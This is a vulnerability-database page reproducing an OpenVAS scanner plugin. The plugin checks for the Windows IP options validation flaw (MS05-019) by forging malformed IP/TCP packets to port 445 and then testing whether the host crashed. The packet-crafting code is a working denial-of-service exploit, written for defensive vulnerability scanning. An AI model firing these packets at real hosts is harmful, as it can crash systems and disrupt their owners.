Lucene search

K
openvasCopyright (C) 2011 Greenbone Networks GmbHOPENVAS:1361412562310902588
HistoryNov 21, 2011 - 12:00 a.m.

Microsoft Windows Internet Protocol Validation RCE Vulnerability

2011-11-2100:00:00
Copyright (C) 2011 Greenbone Networks GmbH
plugins.openvas.org
34

9 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.965 High

EPSS

Percentile

99.6%

Microsoft Windows is prone to a remote code execution (RCE)
vulnerability.

# Copyright (C) 2011 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902588");
  script_version("2023-02-24T10:20:04+0000");
  script_cve_id("CVE-2005-0048", "CVE-2005-0688", "CVE-2004-0790", "CVE-2004-1060", "CVE-2004-0230");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2023-02-24 10:20:04 +0000 (Fri, 24 Feb 2023)");
  script_tag(name:"creation_date", value:"2011-11-21 15:15:15 +0530 (Mon, 21 Nov 2011)");
  script_name("Microsoft Windows Internet Protocol Validation RCE Vulnerability");
  script_category(ACT_KILL_HOST);
  script_copyright("Copyright (C) 2011 Greenbone Networks GmbH");
  script_family("Windows : Microsoft Bulletins");
  script_dependencies("smb_nativelanman.nasl", "netbios_name_get.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports(139, 445);
  script_mandatory_keys("Host/runs_windows");
  script_exclude_keys("SMB/samba", "keys/TARGET_IS_IPV6");

  script_xref(name:"URL", value:"http://securitytracker.com/id/1013686");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/10183");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/13116");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/13124");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/13658");
  script_xref(name:"URL", value:"https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2005/ms05-019");
  script_xref(name:"URL", value:"https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2006/ms06-064");

  script_tag(name:"summary", value:"Microsoft Windows is prone to a remote code execution (RCE)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends multiple crafted IP packets and checks if the host is
  still alive.");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to cause a denial of
  service and possibly execute arbitrary code via crafted IP packets with malformed options.");

  script_tag(name:"insight", value:"The flaw is due to insufficient validation of IP options and can
  be exploited to cause a vulnerable system to stop responding and restart or may allow execution of
  arbitrary code by sending a specially crafted IP packet to a vulnerable system.");

  script_tag(name:"affected", value:"- Microsoft Windows XP SP2 and prior

  - Microsoft Windows 2000 Server SP4 and prior");

  script_tag(name:"solution", value:"The vendor has released updates. Please see the references for
  more information.");

  script_tag(name:"qod_type", value:"remote_probe");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("smb_nt.inc");
include("host_details.inc");

if(TARGET_IS_IPV6() || kb_smb_is_samba())
  exit(0);

# nb: Ensure that the host is still up
start_denial();
sleep(2);
up = end_denial();
if(!up)
  exit(0);

port = kb_smb_transport();
if(!port)
  port = 445;

if(!get_port_state(port))
  exit(0);

dstaddr = get_host_ip();
srcaddr = this_host();
sport = rand() % (65536 - 1024) + 1024;

## IP packet with an option size 39
options = raw_string(0x03, 0x27, crap(data:"G", length:38));

ip = forge_ip_packet( ip_v   : 4,
                      ip_hl  : 15,
                      ip_tos : 0,
                      ip_len : 20,
                      ip_id  : rand(),
                      ip_p   : IPPROTO_TCP,
                      ip_ttl : 64,
                      ip_off : 0,
                      ip_src : srcaddr,
                      data   : options );

tcp = forge_tcp_packet( ip       : ip,
                        th_sport : sport,
                        th_dport : port,
                        th_flags : TH_SYN,
                        th_seq   : rand(),
                        th_ack   : 0,
                        th_x2    : 0,
                        th_off   : 5,
                        th_win   : 512,
                        th_urp   : 0 );

start_denial();
for(i = 0; i < 5; i++) {
  send_packet(tcp, pcap_active:FALSE);
}
alive = end_denial();

if(!alive) {
  security_message(port:port);
  exit(0);
}

exit(99);

9 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.965 High

EPSS

Percentile

99.6%